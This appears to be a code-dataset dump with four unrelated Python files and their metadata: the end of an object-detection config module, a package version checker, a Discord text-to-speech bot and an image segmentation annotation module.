RoIAlign (usually use 2)\n# Only applies to RoIAlign\n__C.FAST_RCNN.ROI_XFORM_SAMPLING_RATIO = 0\n\n# RoI transform output resolution\n# Note: some models may have constraints on what they can use, e.g. they use\n# pretrained FC layers like in VGG16, and will ignore this option\n__C.FAST_RCNN.ROI_XFORM_RESOLUTION = 14\n\n\n\n# ---------------------------------------------------------------------------- #\n# VGG options\n# ---------------------------------------------------------------------------- #\n__C.VGG = AttrDict()\n\n# Freeze model weights before and including which block.\n# Choices: [0, 2, 3, 4, 5]. O means not fixed. First conv and bn are defaults to\n# be fixed.\n__C.VGG.FREEZE_AT = 2\n\n# Path to pretrained resnet weights on ImageNet.\n# If start with '/', then it is treated as a absolute path.\n# Otherwise, treat as a relative path to __C.ROOT_DIR\n__C.VGG.IMAGENET_PRETRAINED_WEIGHTS = ''\n\n\n\n# ---------------------------------------------------------------------------- #\n# MISC options\n# ---------------------------------------------------------------------------- #\n\n# Numer of refinement times\n__C.REFINE_TIMES = 3\n\n# Number of GPUs to use (applies to both training and testing)\n__C.NUM_GPUS = 1\n\n# The mapping from image coordinates to feature map coordinates might cause\n# some boxes that are distinct in image space to become identical in feature\n# coordinates. If DEDUP_BOXES > 0, then DEDUP_BOXES is used as the scale factor\n# for identifying duplicate boxes.\n# 1/8 is correct for {Alex,Caffe}Net, VGG_CNN_M_1024, and VGG16\n__C.DEDUP_BOXES = 1. / 8.\n\n# Clip bounding box transformation predictions to prevent np.exp from\n# overflowing\n# Heuristic choice based on that would scale a 16 pixel anchor up to 1000 pixels\n__C.BBOX_XFORM_CLIP = np.log(1000. / 8.)\n\n# Pixel mean values (BGR order) as a (1, 1, 3) array\n# We use the same pixel mean for all networks even though it's not exactly what\n# they were trained with\n# \"Fun\" fact: the history of where these values comes from is lost (From Detectron lol)\n__C.PIXEL_MEANS = np.array([[[102.9801, 115.9465, 122.7717]]])\n\n# For reproducibility\n__C.RNG_SEED = 4\n\n# A small number that's used many times\n__C.EPS = 1e-14\n\n# Root directory of project\n__C.ROOT_DIR = osp.abspath(osp.join(osp.dirname(__file__), '..', '..'))\n\n# Output basedir\n__C.OUTPUT_DIR = 'Outputs'\n\n# Name (or path to) the matlab executable\n__C.MATLAB = 'matlab'\n\n# Dump detection visualizations\n__C.VIS = False\n\n# Score threshold for visualization\n__C.VIS_TH = 0.9\n\n# Expected results should take the form of a list of expectations, each\n# specified by four elements (dataset, task, metric, expected value). For\n# example: [['coco_2014_minival', 'box_proposal', 'AR@1000', 0.387]]\n__C.EXPECTED_RESULTS = []\n# Absolute and relative tolerance to use when comparing to EXPECTED_RESULTS\n__C.EXPECTED_RESULTS_RTOL = 0.1\n__C.EXPECTED_RESULTS_ATOL = 0.005\n# Set to send email in case of an EXPECTED_RESULTS failure\n__C.EXPECTED_RESULTS_EMAIL = ''\n\n# ------------------------------\n# Data directory\n__C.DATA_DIR = osp.abspath(osp.join(__C.ROOT_DIR, 'data'))\n\n# [Deprecate]\n__C.POOLING_MODE = 'crop'\n\n# [Deprecate] Size of the pooled region after RoI pooling\n__C.POOLING_SIZE = 7\n\n__C.CROP_RESIZE_WITH_MAX_POOL = True\n\n# [Infered value]\n__C.CUDA = False\n\n__C.DEBUG = False\n\n# [Infered value]\n__C.PYTORCH_VERSION_LESS_THAN_040 = False\n\n\ndef assert_and_infer_cfg(make_immutable=True):\n \"\"\"Call this function in your script after you have finished setting all cfg\n values that are necessary (e.g., merging a config from a file, merging\n command line config options, etc.). By default, this function will also\n mark the global cfg as immutable to prevent changing the global cfg settings\n during script execution (which can lead to hard to debug errors or code\n that's harder to understand than is necessary).\n \"\"\"\n if __C.MODEL.LOAD_IMAGENET_PRETRAINED_WEIGHTS:\n assert __C.VGG.IMAGENET_PRETRAINED_WEIGHTS, \\\n \"Path to the weight file must not be empty to load imagenet pertrained resnets.\"\n if version.parse(torch.__version__) < version.parse('0.4.0'):\n __C.PYTORCH_VERSION_LESS_THAN_040 = True\n # create alias for PyTorch version less than 0.4.0\n init.uniform_ = init.uniform\n init.normal_ = init.normal\n init.constant_ = init.constant\n nn.GroupNorm = mynn.GroupNorm\n if make_immutable:\n cfg.immutable(True)\n\n\ndef merge_cfg_from_file(cfg_filename):\n \"\"\"Load a yaml config file and merge it into the global config.\"\"\"\n with open(cfg_filename, 'r') as f:\n yaml_cfg = AttrDict(yaml.load(f))\n _merge_a_into_b(yaml_cfg, __C)\n\ncfg_from_file = merge_cfg_from_file\n\n\ndef merge_cfg_from_cfg(cfg_other):\n \"\"\"Merge `cfg_other` into the global config.\"\"\"\n _merge_a_into_b(cfg_other, __C)\n\n\ndef merge_cfg_from_list(cfg_list):\n \"\"\"Merge config keys, values in a list (e.g., from command line) into the\n global config. For example, `cfg_list = ['TEST.NMS', 0.5]`.\n \"\"\"\n assert len(cfg_list) % 2 == 0\n for full_key, v in zip(cfg_list[0::2], cfg_list[1::2]):\n # if _key_is_deprecated(full_key):\n # continue\n # if _key_is_renamed(full_key):\n # _raise_key_rename_error(full_key)\n key_list = full_key.split('.')\n d = __C\n for subkey in key_list[:-1]:\n assert subkey in d, 'Non-existent key: {}'.format(full_key)\n d = d[subkey]\n subkey = key_list[-1]\n assert subkey in d, 'Non-existent key: {}'.format(full_key)\n value = _decode_cfg_value(v)\n value = _check_and_coerce_cfg_value_type(\n value, d[subkey], subkey, full_key\n )\n d[subkey] = value\n\ncfg_from_list = merge_cfg_from_list\n\n\ndef _merge_a_into_b(a, b, stack=None):\n \"\"\"Merge config dictionary a into config dictionary b, clobbering the\n options in b whenever they are also specified in a.\n \"\"\"\n assert isinstance(a, AttrDict), 'Argument `a` must be an AttrDict'\n assert isinstance(b, AttrDict), 'Argument `b` must be an AttrDict'\n\n for k, v_ in a.items():\n full_key = '.'.join(stack) + '.' + k if stack is not None else k\n # a must specify keys that are in b\n if k not in b:\n # if _key_is_deprecated(full_key):\n # continue\n # elif _key_is_renamed(full_key):\n # _raise_key_rename_error(full_key)\n # else:\n raise KeyError('Non-existent config key: {}'.format(full_key))\n\n v = copy.deepcopy(v_)\n v = _decode_cfg_value(v)\n v = _check_and_coerce_cfg_value_type(v, b[k], k, full_key)\n\n # Recursively merge dicts\n if isinstance(v, AttrDict):\n try:\n stack_push = [k] if stack is None else stack + [k]\n _merge_a_into_b(v, b[k], stack=stack_push)\n except BaseException:\n raise\n else:\n b[k] = v\n\n\ndef _decode_cfg_value(v):\n \"\"\"Decodes a raw config value (e.g., from a yaml config files or command\n line argument) into a Python object.\n \"\"\"\n # Configs parsed from raw yaml will contain dictionary keys that need to be\n # converted to AttrDict objects\n if isinstance(v, dict):\n return AttrDict(v)\n # All remaining processing is only applied to strings\n if not isinstance(v, six.string_types):\n return v\n # Try to interpret `v` as a:\n # string, number, tuple, list, dict, boolean, or None\n try:\n v = literal_eval(v)\n # The following two excepts allow v to pass through when it represents a\n # string.\n #\n # Longer explanation:\n # The type of v is always a string (before calling literal_eval), but\n # sometimes it *represents* a string and other times a data structure, like\n # a list. In the case that v represents a string, what we got back from the\n # yaml parser is 'foo' *without quotes* (so, not '\"foo\"'). literal_eval is\n # ok with '\"foo\"', but will raise a ValueError if given 'foo'. In other\n # cases, like paths (v = 'foo/bar' and not v = '\"foo/bar\"'), literal_eval\n # will raise a SyntaxError.\n except ValueError:\n pass\n except SyntaxError:\n pass\n return v\n\n\ndef _check_and_coerce_cfg_value_type(value_a, value_b, key, full_key):\n \"\"\"Checks that `value_a`, which is intended to replace `value_b` is of the\n right type. The type is correct if it matches exactly or is one of a few\n cases in which the type can be easily coerced.\n \"\"\"\n # The types must match (with some exceptions)\n type_b = type(value_b)\n type_a = type(value_a)\n if type_a is type_b:\n return value_a\n\n # Exceptions: numpy arrays, strings, tuple<->list\n if isinstance(value_b, np.ndarray):\n value_a = np.array(value_a, dtype=value_b.dtype)\n elif isinstance(value_b, six.string_types):\n value_a = str(value_a)\n elif isinstance(value_a, tuple) and isinstance(value_b, list):\n value_a = list(value_a)\n elif isinstance(value_a, list) and isinstance(value_b, tuple):\n value_a = tuple(value_a)\n else:\n raise ValueError(\n 'Type mismatch ({} vs. {}) with values ({} vs. {}) for config '\n 'key: {}'.format(type_b, type_a, value_b, value_a, full_key)\n )\n return value_a\n", "repo_name": "ppengtang/pcl.pytorch", "sub_path": "lib/core/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 22772, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 244, "dataset": "github-code", "pt": "86", "api": [{"api_name": "utils.collections.AttrDict", "line_number": 22, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 34, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 102, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 113, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 166, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 205, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 217, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 238, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 279, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 361, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 394, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 428, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 434, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 443, "usage_type": "call"}, {"api_name": "os.path", "line_number": 443, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 443, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 443, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 469, "usage_type": "call"}, {"api_name": "os.path", "line_number": 469, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 469, "usage_type": "call"}, {"api_name": "packaging.version.parse", "line_number": 499, "usage_type": "call"}, {"api_name": "packaging.version", "line_number": 499, "usage_type": "name"}, {"api_name": "torch.__version__", "line_number": 499, "usage_type": "attribute"}, {"api_name": "torch.nn.init.uniform_", "line_number": 502, "usage_type": "attribute"}, {"api_name": "torch.nn.init", "line_number": 502, "usage_type": "name"}, {"api_name": "torch.nn.init.uniform", "line_number": 502, "usage_type": "attribute"}, {"api_name": "torch.nn.init.normal_", "line_number": 503, "usage_type": "attribute"}, {"api_name": "torch.nn.init", "line_number": 503, "usage_type": "name"}, {"api_name": "torch.nn.init.normal", "line_number": 503, "usage_type": "attribute"}, {"api_name": "torch.nn.init.constant_", "line_number": 504, "usage_type": "attribute"}, {"api_name": "torch.nn.init", "line_number": 504, "usage_type": "name"}, {"api_name": "torch.nn.init.constant", "line_number": 504, "usage_type": "attribute"}, {"api_name": "torch.nn.GroupNorm", "line_number": 505, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 505, "usage_type": "name"}, {"api_name": "nn.GroupNorm", "line_number": 505, "usage_type": "attribute"}, {"api_name": "utils.collections.AttrDict", "line_number": 513, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 513, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 554, "usage_type": "argument"}, {"api_name": "utils.collections.AttrDict", "line_number": 555, "usage_type": "argument"}, {"api_name": "copy.deepcopy", "line_number": 568, "usage_type": "call"}, {"api_name": "utils.collections.AttrDict", "line_number": 573, "usage_type": "argument"}, {"api_name": "utils.collections.AttrDict", "line_number": 590, "usage_type": "call"}, {"api_name": "six.string_types", "line_number": 592, "usage_type": "attribute"}, {"api_name": "ast.literal_eval", "line_number": 597, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 628, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 629, "usage_type": "call"}, {"api_name": "six.string_types", "line_number": 630, "usage_type": "attribute"}]} +{"seq_id": "31816450653", "text": "\n\nimport aiohttp\nimport asyncio\nimport threading\nfrom colorama import Fore, Style\nfrom .time import time\n\nclass version:\n @classmethod\n async def _get_version(cls, current_version: str) -> bool:\n async with aiohttp.ClientSession() as session:\n async with session.get(\"https://raw.githubusercontent.com/Ceeq9717/audstream/master/audstream/__init__.py\") as resp:\n text = await resp.text()\n github_version = text.split(\"__version__ = \")[1].split(\"\\n\")[0].replace('\"', \"\")\n\n current_version = current_version.replace(\".\", \"\")\n github_version = github_version.replace(\".\", \"\")\n\n if int(current_version) >= int(github_version):\n return print(time(f\"{Fore.GREEN} {Style.BRIGHT} [AUDSTREAMER] You are using the latest version of audstream!{Fore.RESET} {Style.RESET_ALL}\"))\n else:\n return print(time(f\"{Fore.RED} {Style.BRIGHT} [WARNING] You are using an outdated version of audstream!{Fore.RESET} {Style.RESET_ALL}\"))\n\n @classmethod\n def __check_version(cls, current_version: str) -> None:\n asyncio.run(cls._get_version(current_version))\n\n @classmethod\n def _check(cls, current_version: str) -> None:\n thread = threading.Thread(target=cls.__check_version, args=(current_version,))\n\n thread.start()", "repo_name": "ryzmae/audstream", "sub_path": "audstream/utils/version.py", "file_name": "version.py", "file_ext": "py", "file_size_in_byte": 1326, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "aiohttp.ClientSession", "line_number": 12, "usage_type": "call"}, {"api_name": "time.time", "line_number": 21, "usage_type": "call"}, {"api_name": "colorama.Fore.GREEN", "line_number": 21, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 21, "usage_type": "name"}, {"api_name": "colorama.Style.BRIGHT", "line_number": 21, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 21, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 21, "usage_type": "attribute"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 21, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 23, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 23, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 23, "usage_type": "name"}, {"api_name": "colorama.Style.BRIGHT", "line_number": 23, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 23, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 23, "usage_type": "attribute"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 23, "usage_type": "attribute"}, {"api_name": "asyncio.run", "line_number": 27, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 31, "usage_type": "call"}]} +{"seq_id": "5484766981", "text": "import discord\nimport pyttsx3\nimport time\nimport json\n#https://discord.com/api/oauth2/authorize?client_id=883470327575887935&permissions=8&scope=bot\n\nengine = pyttsx3.init()\nvoices = engine.getProperty('voices')\nrate = engine.getProperty('rate')\nengine.setProperty('rate', 125)\n\nstay_connected = False\n\nusers = {}\nwith open(\"users.json\", \"r\") as jsonFile:\n users = json.load(jsonFile)\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(client))\n\n@client.event\nasync def on_message(message):\n global users\n global stay_connected\n\n if message.author == client.user:\n return\n\n if str(message.author.id) not in users:\n users[str(message.author.id)] = [True, message.author.display_name, 1, 125]\n with open(\"users.json\", \"w\") as jsonFile:\n json.dump(users, jsonFile)\n\n if message.content.lower().startswith(',tts'):\n new_message = ''\n state = message.author.voice\n if state:\n old_time = time.time()\n voice_channel = state.channel\n try:\n voice_connect = await voice_channel.connect()\n except BaseException as E:\n print('error: ', E)\n voice_connection = message.guild.voice_client\n to_say = message.content.split()[1:]\n final_say = ''\n partially_invalid = False\n for i in to_say:\n if len(i) > 25:\n if not partially_invalid:\n await message.channel.send('I am sorry, you cannot use words that are longer than 25 characters.')\n partially_invalid = not partially_invalid\n else:\n final_say = final_say + ' ' + i\n if len(final_say) > 300:\n await message.channel.send('I am sorry, you cannot have a phrase longer than 300 character. Please contact Ryan if you want this adjusted.')\n return\n print(final_say)\n if users[str(message.author.id)][0]:\n final_say = users[str(message.author.id)][1] + ' said, ' + final_say\n engine.setProperty('rate', users[str(message.author.id)][3])\n engine.setProperty('voice', voices[users[str(message.author.id)][2]-1].id) \n engine.save_to_file(final_say, 'output.mp3')\n engine.runAndWait()\n await message.add_reaction('🔊')\n voice_connection.play(discord.FFmpegPCMAudio('output.mp3'))\n print(time.time()-old_time)\n print('done')\n while voice_connection.is_playing():\n time.sleep(0.1)\n if not stay_connected:\n try: await voice_connect.disconnect()\n except: pass\n else:\n await message.channel.send('I am sorry, you must be in a voice channel to use this command.')\n \n elif message.content.lower().startswith(',disconnect'):\n try: await message.guild.voice_client.disconnect()\n except: pass\n stay_connected = False\n\n elif message.content.lower().startswith(',intro'):\n users[str(message.author.id)][0] = not users[str(message.author.id)][0]\n if users[str(message.author.id)][0]:\n await message.channel.send('Introductions for '+message.author.display_name+' are now enabled')\n else:\n await message.channel.send('Introductions for '+message.author.display_name+' are now disabled')\n with open(\"users.json\", \"w\") as jsonFile:\n json.dump(users, jsonFile)\n\n elif message.content.lower().startswith(',name'):\n name = message.content.split(' ', 1)[1]\n await message.channel.send('Your new introduction name is now \"' + name + '\"')\n users[str(message.author.id)][1] = name\n with open(\"users.json\", \"w\") as jsonFile:\n json.dump(users, jsonFile)\n\n elif message.content.lower().startswith(',stay'):\n await message.channel.send('The bot will now stay connected until it is disconnected. Gracefully disconnect the bot with \",disconnect\"')\n stay_connected = True\n\n elif message.content.lower().startswith(',hearvoices'):\n state = message.author.voice\n if state:\n voice_channel = state.channel\n try:\n voice_connect = await voice_channel.connect()\n except:\n pass\n voice_connection = message.guild.voice_client\n count = 1\n for voice in voices:\n engine.setProperty('voice', voice.id)\n engine.save_to_file('This is what voice number '+str(count)+' sounds like', 'output.mp3')\n engine.runAndWait()\n voice_connection.play(discord.FFmpegPCMAudio('output.mp3'))\n while voice_connection.is_playing():\n time.sleep(0.1)\n count += 1\n if not stay_connected:\n try: await voice_connect.disconnect()\n except: pass\n else:\n await message.channel.send('I am sorry, you must be in a voice channel to use this command.')\n\n elif message.content.lower().startswith(',setvoice'):\n id_list = [voice.id for voice in voices]\n try:\n new_id = int(message.content.split(' ')[1])\n if 1 <= new_id <= len(id_list):\n users[str(message.author.id)][2] = new_id\n await message.channel.send('You are now using voice number ' + str(new_id))\n else:\n await message.channel.send('There is not a voice for this number. Try using a number between 1 and ' + str(len(id_list)))\n with open(\"users.json\", \"w\") as jsonFile:\n json.dump(users, jsonFile)\n except:\n await message.channel.send('There is not a voice for this number. Try using a number between 1 and ' + str(len(id_list)))\n\n elif message.content.lower().startswith(',speed'):\n speed = message.content.split(' ', 1)[1]\n users[str(message.author.id)][3] = int(speed)\n await message.channel.send('The bot speed is now ' + str(speed) + '. (Default speed: 125)')\n with open(\"users.json\", \"w\") as jsonFile:\n json.dump(users, jsonFile)\n\n elif message.content.lower().startswith(',help'):\n help_menu = '''\nCommands:\n**,tts**: The bot will say whatever follows seperated by a space in your current voice channel. Example: \",tts Hello World!\"\n**,stay**: Command the bot to stay in the voice channel, instead of leaving when done speaking. (This allows tts messages to be read faster, as the bot does not need to take time to connect)\n**,disconnect**: Disconnect the bot, in the case that it is in the voice channel because the ,stay command was used.\n**,intro** or **,introduction**: Typing this command toggles the user introduction. This is enabled by default.\n**,name**: Whatever follows the command, seperated by a space, will be the name read by the bot during user introduction. It is your server nickname by default. Example: \",name Wumpus\"\n**,hearvoices**: The bot will play example text for all the possible voices in your current voice channel. (At beta release, 3 voices are present)\n**,setvoice**: Sets the voice for your account to the one corresponding with the number entered following the command. Example: \",setvoice 1\"\n**,speed**: Sets the speed at which the bot speaks. Default: 125. Example: \",speed 200\"'''\n await message.channel.send(help_menu)\n\nclient.run('')", "repo_name": "RyantheKing/text-to-speech-discord-bot", "sub_path": "tts.py", "file_name": "tts.py", "file_ext": "py", "file_size_in_byte": 7560, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pyttsx3.init", "line_number": 7, "usage_type": "call"}, {"api_name": "json.load", "line_number": 16, "usage_type": "call"}, {"api_name": "discord.Client", "line_number": 18, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 35, "usage_type": "call"}, {"api_name": "time.time", "line_number": 41, "usage_type": "call"}, {"api_name": "discord.FFmpegPCMAudio", "line_number": 69, "usage_type": "call"}, {"api_name": "time.time", "line_number": 70, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 73, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 92, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 99, "usage_type": "call"}, {"api_name": "discord.FFmpegPCMAudio", "line_number": 119, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 121, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 139, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 148, "usage_type": "call"}]} +{"seq_id": "10112869055", "text": "from typing_extensions import Self\nfrom uuid import UUID\nfrom typing import List, Dict, Tuple\nfrom math import fsum, cos, sin, radians\n\nfrom PIL import Image, ImageDraw\n\nimport numpy as np\n\nfrom .bbox import BBox\nfrom .classes_format import ImageDatasetClasses\nfrom ....codable import Codable, KeyDescriptor\n\n\nSegmentationType = List[int]\n\n\ndef toPoly(segmentation: List[int]) -> List[Tuple[int, int]]:\n points: List[Tuple[int, int]] = []\n\n for index in range(0, len(segmentation) - 1, 2):\n points.append((segmentation[index], segmentation[index + 1]))\n\n return points\n\n\nclass CoretexSegmentationInstance(Codable):\n\n \"\"\"\n Segmentation Instance class\n\n Properties\n ----------\n classID : UUID\n uuid of class\n bbox : BBox\n Bounding Box as a python class\n segmentations : List[SegmentationType]\n list of segmentations that define the precise boundaries of object\n \"\"\"\n\n classId: UUID\n bbox: BBox\n segmentations: List[SegmentationType]\n\n @classmethod\n def _keyDescriptors(cls) -> Dict[str, KeyDescriptor]:\n descriptors = super()._keyDescriptors()\n\n descriptors[\"classId\"] = KeyDescriptor(\"class_id\", UUID)\n descriptors[\"bbox\"] = KeyDescriptor(\"bbox\", BBox)\n descriptors[\"segmentations\"] = KeyDescriptor(\"annotations\")\n\n return descriptors\n\n @classmethod\n def create(cls, classId: UUID, bbox: BBox, segmentations: List[SegmentationType]) -> Self:\n \"\"\"\n Creates CoretexSegmentationInstance object with provided parameters\n\n Parameters\n ----------\n classID : UUID\n uuid of class\n bbox : BBox\n Bounding Box as a python class\n segmentations : List[SegmentationType]\n list of segmentations that define the precise boundaries of object\n\n Returns\n -------\n The created CoretexSegmentationInstance object\n \"\"\"\n\n obj = cls()\n\n obj.classId = classId\n obj.bbox = bbox\n obj.segmentations = segmentations\n\n return obj\n\n def extractSegmentationMask(self, width: int, height: int) -> np.ndarray:\n \"\"\"\n Generates segmentation mask based on provided\n width and height of image\\n\n Pixel values are equal to class IDs\n\n Parameters\n ----------\n width : int\n width of image in pixels\n height : int\n height of image in pixels\n\n Returns\n -------\n np.ndarray -> segmentation mask represented as np.ndarray\n \"\"\"\n\n image = Image.new(\"L\", (width, height))\n\n for segmentation in self.segmentations:\n draw = ImageDraw.Draw(image)\n draw.polygon(toPoly(segmentation), fill = 1)\n\n return np.asarray(image)\n\n def extractBinaryMask(self, width: int, height: int) -> np.ndarray:\n \"\"\"\n Works the same way as extractSegmentationMask function\n Values that are > 0 are capped to 1\n\n Parameters\n ----------\n width : int\n width of image in pixels\n height : int\n height of image in pixels\n\n Returns\n -------\n np.ndarray -> binary segmentation mask represented as np.ndarray\n \"\"\"\n\n binaryMask = self.extractSegmentationMask(width, height)\n binaryMask[binaryMask > 0] = 1\n\n return binaryMask\n\n def centroid(self) -> Tuple[int, int]:\n \"\"\"\n Calculates centroid of segmentations\n\n Returns\n -------\n Tuple[int, int] -> x, y coordinates of centroid\n \"\"\"\n\n flattenedSegmentations = [element for sublist in self.segmentations for element in sublist]\n\n listCX = [value for index, value in enumerate(flattenedSegmentations) if index % 2 == 0]\n centerX = sum(listCX) // len(listCX)\n\n listCY = [value for index, value in enumerate(flattenedSegmentations) if index % 2 != 0]\n centerY = sum(listCY) // len(listCY)\n\n return centerX, centerY\n\n def centerSegmentations(self, newCentroid: Tuple[int, int]) -> None:\n \"\"\"\n Centers segmentations to the specified center point\n\n Parameters\n ----------\n newCentroid : Tuple[int, int]\n x, y coordinates of centroid\n \"\"\"\n\n newCenterX, newCenterY = newCentroid\n oldCenterX, oldCenterY = self.centroid()\n\n modifiedSegmentations: List[List[int]] = []\n\n for segmentation in self.segmentations:\n modifiedSegmentation: List[int] = []\n\n for i in range(0, len(segmentation), 2):\n x = segmentation[i] + (newCenterX - oldCenterX)\n y = segmentation[i+1] + (newCenterY - oldCenterY)\n\n modifiedSegmentation.append(x)\n modifiedSegmentation.append(y)\n\n modifiedSegmentations.append(modifiedSegmentation)\n\n self.segmentations = modifiedSegmentations\n\n def rotateSegmentations(self, degrees: int) -> None:\n \"\"\"\n Rotates segmentations of CoretexSegmentationInstance object\n\n Parameters\n ----------\n degrees : int\n degree of rotation\n \"\"\"\n\n rotatedSegmentations: List[List[int]] = []\n centerX, centerY = self.centroid()\n\n # because rotations with image and segmentations doesn't go in same direction\n # one of the rotations has to be inverted so they go in same direction\n theta = radians(-degrees)\n cosang, sinang = cos(theta), sin(theta)\n\n for segmentation in self.segmentations:\n rotatedSegmentation: List[int] = []\n\n for i in range(0, len(segmentation), 2):\n x = segmentation[i] - centerX\n y = segmentation[i + 1] - centerY\n\n newX = int(x * cosang - y * sinang) + centerX\n newY = int(x * sinang + y * cosang) + centerY\n\n rotatedSegmentation.append(newX)\n rotatedSegmentation.append(newY)\n\n rotatedSegmentations.append(rotatedSegmentation)\n\n self.segmentations = rotatedSegmentations\n\n\nclass CoretexImageAnnotation(Codable):\n\n \"\"\"\n Image Annotation class\n\n Properties\n ----------\n name : str\n name of annotation class\n width : int\n width of annotation\n height : int\n height of annotation\n instances : List[CoretexSegmentationInstance]\n list of SegmentationInstance objects\n \"\"\"\n\n name: str\n width: int\n height: int\n instances: List[CoretexSegmentationInstance]\n\n @classmethod\n def _keyDescriptors(cls) -> Dict[str, KeyDescriptor]:\n descriptors = super()._keyDescriptors()\n descriptors[\"instances\"] = KeyDescriptor(\"instances\", CoretexSegmentationInstance, list)\n\n return descriptors\n\n @classmethod\n def create(\n cls,\n name: str,\n width: int,\n height: int,\n instances: List[CoretexSegmentationInstance]\n ) -> Self:\n \"\"\"\n Creates CoretexImageAnnotation object with provided parameters\n\n Parameters\n ----------\n name : str\n name of annotation class\n width : int\n width of annotation\n height : int\n height of annotation\n instances : List[CoretexSegmentationInstance]\n list of SegmentationInstance objects\n\n Returns\n -------\n The created CoretexImageAnnotation object\n \"\"\"\n\n obj = cls()\n\n obj.name = name\n obj.width = width\n obj.height = height\n obj.instances = instances\n\n return obj\n\n def extractSegmentationMask(self, classes: ImageDatasetClasses) -> np.ndarray:\n \"\"\"\n Generates segmentation mask of provided ImageDatasetClasses object\n\n Parameters\n ----------\n classes : ImageDatasetClasses\n list of dataset classes\n\n Returns\n -------\n np.ndarray -> segmentation mask represented as np.ndarray\n \"\"\"\n\n image = Image.new(\"L\", (self.width, self.height))\n\n for instance in self.instances:\n labelId = classes.labelIdForClassId(instance.classId)\n if labelId is None:\n continue\n\n for segmentation in instance.segmentations:\n if len(segmentation) == 0:\n raise ValueError(f\">> [Coretex] Empty segmentation\")\n\n draw = ImageDraw.Draw(image)\n draw.polygon(toPoly(segmentation), fill = labelId + 1)\n\n return np.asarray(image)\n", "repo_name": "coretex-ai/coretexpylib", "sub_path": "coretex/entities/annotation/image/coretex_format.py", "file_name": "coretex_format.py", "file_ext": "py", "file_size_in_byte": 8901, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "86", "api": [{"api_name": "typing.List", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 18, "usage_type": "name"}, {"api_name": "codable.Codable", "line_number": 27, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 42, "usage_type": "name"}, {"api_name": "bbox.BBox", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 44, "usage_type": "name"}, {"api_name": "codable.KeyDescriptor", "line_number": 50, "usage_type": "call"}, {"api_name": "uuid.UUID", "line_number": 50, "usage_type": "argument"}, {"api_name": "codable.KeyDescriptor", "line_number": 51, "usage_type": "call"}, {"api_name": "bbox.BBox", "line_number": 51, "usage_type": "argument"}, {"api_name": "codable.KeyDescriptor", "line_number": 52, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 47, "usage_type": "name"}, {"api_name": "codable.KeyDescriptor", "line_number": 47, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 57, "usage_type": "name"}, {"api_name": "bbox.BBox", "line_number": 57, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 57, "usage_type": "name"}, {"api_name": "typing_extensions.Self", "line_number": 57, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 101, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 101, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 104, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 104, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 83, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 109, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 131, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 150, "usage_type": "name"}, {"api_name": "typing.List", 